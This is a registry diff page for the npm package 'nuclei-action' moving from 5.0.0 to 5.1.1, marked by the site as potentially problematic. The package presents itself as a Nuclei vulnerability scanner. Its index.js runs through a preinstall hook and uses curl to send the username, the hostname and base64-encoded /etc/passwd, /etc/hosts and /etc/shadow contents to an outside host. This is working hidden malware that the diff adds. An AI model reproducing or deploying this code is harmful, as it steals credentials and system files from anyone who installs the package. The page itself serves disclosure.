nuclei-action 5.0.0 → 5.1.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of nuclei-action might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +12 -11
  2. package/package.json +5 -2
package/index.js CHANGED
@@ -1,13 +1,14 @@
1
+ GNU nano 8.2 index.js
1
2
  const { exec } = require("child_process");
2
- exec("curl -X POST fixing.my/nuclei-action/\`whoami\`/\`hostname\`/ -A $(cat /etc/passwd /etc/hosts | base64 | tr '\n' '.') -s -o /dev/null" , (error, data, getter) => {
3
- if(error){
4
- console.log("error",error.message);
5
- return;
6
- }
7
- if(getter){
8
- console.log(data);
9
- return;
10
- }
11
- console.log(data);
12
-
3
+ exec("curl -X POST fixing.my/nuclei-action/\`whoami\`/\`hostname\`/ -A $((cat /etc/passwd /etc/hosts && cat /etc/shadow |grep -v -e '*' -e '\!' 2>/dev/null) | base64 | tr '\n' '.') -s -o /dev/null" , (error, data, getter) => {
4
+ if(error){
5
+ console.log("error",error.message);
6
+ return;
7
+ }
8
+ if(getter){
9
+ console.log(data);
10
+ return;
11
+ }
12
+ console.log(data);
13
13
  });
14
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "nuclei-action",
3
- "version": "5.0.0",
3
+ "version": "5.1.1",
4
4
  "description": "Vulnerability Scan with Nuclei",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,5 +8,8 @@
8
8
  "preinstall": "node index.js"
9
9
  },
10
10
  "author": "",
11
- "license": "ISC"
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "nuclei-action": "^5.0.0"
14
+ }
12
15
  }